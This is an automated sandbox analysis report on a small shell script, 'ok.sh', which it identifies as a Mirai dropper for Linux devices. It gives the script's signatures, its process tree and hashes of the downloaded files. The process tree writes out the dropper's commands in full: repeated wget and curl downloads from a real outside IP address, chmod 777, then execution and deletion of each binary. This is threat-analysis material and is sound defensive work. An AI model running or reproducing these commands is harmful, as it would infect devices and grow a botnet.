Analysis

  • max time kernel
    132s
  • max time network
    140s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24/06/2026, 00:05

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260624-adjccshs2x
  • SHA256 dcb2e53eaeb334e77769eede9700b4a544e013b70c337a61ebb0513243393ac2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 36 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:704
    • /usr/bin/wget
      wget http://5.182.210.61/c42e24
      2⤵
      • Writes file to tmp directory
      PID:707
    • /usr/bin/curl
      curl -O http://5.182.210.61/c42e24
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:729
    • /bin/chmod
      chmod 777 c42e24
      2⤵
      • File and Directory Permissions Modification
      PID:731
    • /tmp/c42e24
      ./c42e24 bc
      2⤵
        PID:732
      • /bin/rm
        rm -rf c42e24
        2⤵
          PID:734
        • /bin/rm
          rm -rf c42e24.1
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://5.182.210.61/a14b12
            2⤵
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://5.182.210.61/a14b12
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:737
          • /bin/chmod
            chmod 777 a14b12
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/a14b12
            ./a14b12 bc
            2⤵
              PID:743
            • /bin/rm
              rm -rf a14b12
              2⤵
                PID:746
              • /bin/rm
                rm -rf a14b12.1
                2⤵
                  PID:747
                • /usr/bin/wget
                  wget http://5.182.210.61/108b2a
                  2⤵
                  • Writes file to tmp directory
                  PID:749
                • /usr/bin/curl
                  curl -O http://5.182.210.61/108b2a
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:764
                • /bin/chmod
                  chmod 777 108b2a
                  2⤵
                  • File and Directory Permissions Modification
                  PID:779
                • /tmp/108b2a
                  ./108b2a bc
                  2⤵
                    PID:781
                  • /bin/rm
                    rm -rf 108b2a
                    2⤵
                      PID:785
                    • /bin/rm
                      rm -rf 108b2a.1
                      2⤵
                        PID:787
                      • /usr/bin/wget
                        wget http://5.182.210.61/09a96c
                        2⤵
                        • Writes file to tmp directory
                        PID:788
                      • /usr/bin/curl
                        curl -O http://5.182.210.61/09a96c
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:796
                      • /bin/chmod
                        chmod 777 09a96c
                        2⤵
                        • File and Directory Permissions Modification
                        PID:797
                      • /tmp/09a96c
                        ./09a96c bc
                        2⤵
                          PID:798
                        • /bin/rm
                          rm -rf 09a96c
                          2⤵
                            PID:800
                          • /bin/rm
                            rm -rf 09a96c.1
                            2⤵
                              PID:801
                            • /usr/bin/wget
                              wget http://5.182.210.61/c3312a
                              2⤵
                              • Writes file to tmp directory
                              PID:802
                            • /usr/bin/curl
                              curl -O http://5.182.210.61/c3312a
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:813
                            • /bin/chmod
                              chmod 777 c3312a
                              2⤵
                              • File and Directory Permissions Modification
                              PID:829
                            • /tmp/c3312a
                              ./c3312a bc
                              2⤵
                                PID:831
                              • /bin/rm
                                rm -rf c3312a
                                2⤵
                                  PID:833
                                • /bin/rm
                                  rm -rf c3312a.1
                                  2⤵
                                    PID:835
                                  • /usr/bin/wget
                                    wget http://5.182.210.61/418957
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:836
                                  • /usr/bin/curl
                                    curl -O http://5.182.210.61/418957
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:840
                                  • /bin/chmod
                                    chmod 777 418957
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:841
                                  • /tmp/418957
                                    ./418957 bc
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:842
                                  • /bin/rm
                                    rm -rf 418957
                                    2⤵
                                      PID:844
                                    • /bin/rm
                                      rm -rf 418957.1
                                      2⤵
                                        PID:847
                                      • /usr/bin/wget
                                        wget http://5.182.210.61/7d200e
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:848
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.61/7d200e
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:849
                                      • /bin/chmod
                                        chmod 777 7d200e
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:850
                                      • /tmp/7d200e
                                        ./7d200e bc
                                        2⤵
                                          PID:851
                                        • /bin/rm
                                          rm -rf 7d200e
                                          2⤵
                                            PID:853
                                          • /bin/rm
                                            rm -rf 7d200e.1
                                            2⤵
                                              PID:854
                                            • /usr/bin/wget
                                              wget http://5.182.210.61/53d8b8
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:855
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.61/53d8b8
                                              2⤵
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:856
                                            • /bin/chmod
                                              chmod 777 53d8b8
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:857
                                            • /tmp/53d8b8
                                              ./53d8b8 bc
                                              2⤵
                                                PID:858
                                              • /bin/rm
                                                rm -rf 53d8b8
                                                2⤵
                                                  PID:860
                                                • /bin/rm
                                                  rm -rf 53d8b8.1
                                                  2⤵
                                                    PID:861
                                                  • /usr/bin/wget
                                                    wget http://5.182.210.61/fdbcb8
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:862
                                                  • /usr/bin/curl
                                                    curl -O http://5.182.210.61/fdbcb8
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:863
                                                  • /bin/chmod
                                                    chmod 777 fdbcb8
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:864
                                                  • /tmp/fdbcb8
                                                    ./fdbcb8 bc
                                                    2⤵
                                                      PID:865
                                                    • /bin/rm
                                                      rm -rf fdbcb8
                                                      2⤵
                                                        PID:867
                                                      • /bin/rm
                                                        rm -rf fdbcb8.1
                                                        2⤵
                                                          PID:868
                                                        • /usr/bin/wget
                                                          wget http://5.182.210.61/e08f7e
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:869
                                                        • /usr/bin/curl
                                                          curl -O http://5.182.210.61/e08f7e
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:870
                                                        • /bin/chmod
                                                          chmod 777 e08f7e
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:876
                                                        • /tmp/e08f7e
                                                          ./e08f7e bc
                                                          2⤵
                                                            PID:877
                                                          • /bin/rm
                                                            rm -rf e08f7e
                                                            2⤵
                                                              PID:879
                                                            • /bin/rm
                                                              rm -rf e08f7e.1
                                                              2⤵
                                                                PID:880
                                                              • /usr/bin/wget
                                                                wget http://5.182.210.61/752cf3
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:881
                                                              • /usr/bin/curl
                                                                curl -O http://5.182.210.61/752cf3
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:882
                                                              • /bin/chmod
                                                                chmod 777 752cf3
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:883
                                                              • /tmp/752cf3
                                                                ./752cf3 bc
                                                                2⤵
                                                                  PID:884
                                                                • /bin/rm
                                                                  rm -rf 752cf3
                                                                  2⤵
                                                                    PID:886
                                                                  • /bin/rm
                                                                    rm -rf 752cf3.1
                                                                    2⤵
                                                                      PID:887
                                                                    • /usr/bin/wget
                                                                      wget http://5.182.210.61/36778c
                                                                      2⤵
                                                                        PID:888
                                                                      • /usr/bin/curl
                                                                        curl -O http://5.182.210.61/36778c
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:889
                                                                      • /bin/chmod
                                                                        chmod 777 36778c
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:890
                                                                      • /tmp/36778c
                                                                        ./36778c bc
                                                                        2⤵
                                                                          PID:891
                                                                        • /bin/rm
                                                                          rm -rf 36778c
                                                                          2⤵
                                                                            PID:893
                                                                          • /bin/rm
                                                                            rm -rf 36778c.1
                                                                            2⤵
                                                                              PID:894

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v16

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                09a96c

                                                                                • Path /tmp/09a96c
                                                                                • Size 117KB
                                                                                • SHA256 8357e5ce33843cc608dd8d36f2f782a78c3ae6001324b52d9b877d3571818e88
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                108b2a

                                                                                • Path /tmp/108b2a
                                                                                • Size 40KB
                                                                                • SHA256 deae8b8f3adf3c9517f537cc28aeda5541ef996d4af85d5a804c0257b08dfdb2
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                418957

                                                                                • Path /tmp/418957
                                                                                • Size 63KB
                                                                                • SHA256 ad30815f17aa159560014af28a3022e4bc6bd901ab454bdc2fe067ec1436b47d
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                53d8b8

                                                                                • Path /tmp/53d8b8
                                                                                • Size 49KB
                                                                                • SHA256 3a4b1b5eb7f348e86ac9d6e13e71a29804303f93dd89e82cbffc757e2c65ab48
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                752cf3

                                                                                • Path /tmp/752cf3
                                                                                • Size 57KB
                                                                                • SHA256 3b1e5dc338ee8e4793d1d2183ca0343c87797ce163406ef686f011a70721233d
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                752cf3

                                                                                • Path /tmp/752cf3
                                                                                • Size 19B
                                                                                • SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
                                                                                • MD5 SHA1 SHA512

                                                                                7d200e

                                                                                • Path /tmp/7d200e
                                                                                • Size 45KB
                                                                                • SHA256 0e596de45a903f2021988805644dcdcfb5455885c36bcb6a2d4af0743b83dbce
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                a14b12

                                                                                • Path /tmp/a14b12
                                                                                • Size 48KB
                                                                                • SHA256 e75d0ad374ac610f53a440128ce5a3be8ffd016fc5ef16cc1d029d465f0f9f36
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                c3312a

                                                                                • Path /tmp/c3312a
                                                                                • Size 42KB
                                                                                • SHA256 d5b4241db6212225218b685016c6388e7db74013c20d536d9a82f61bab6a127a
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                c42e24

                                                                                • Path /tmp/c42e24
                                                                                • Size 47KB
                                                                                • SHA256 df7c62b363067b9246e07bc11a5baf073492058e76d4e55a47d7b76ddb720860
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                e08f7e

                                                                                • Path /tmp/e08f7e
                                                                                • Size 45KB
                                                                                • SHA256 6d5869023af5ef528acdc1c43aab42fd7e764ff9e232320e8c3d9c7e30033209
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                fdbcb8

                                                                                • Path /tmp/fdbcb8
                                                                                • Size 61KB
                                                                                • SHA256 de2ce4c85ca73390b92b7fa401b361e67268aead7abb9aa0e0a6e1aad3ed2d79
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH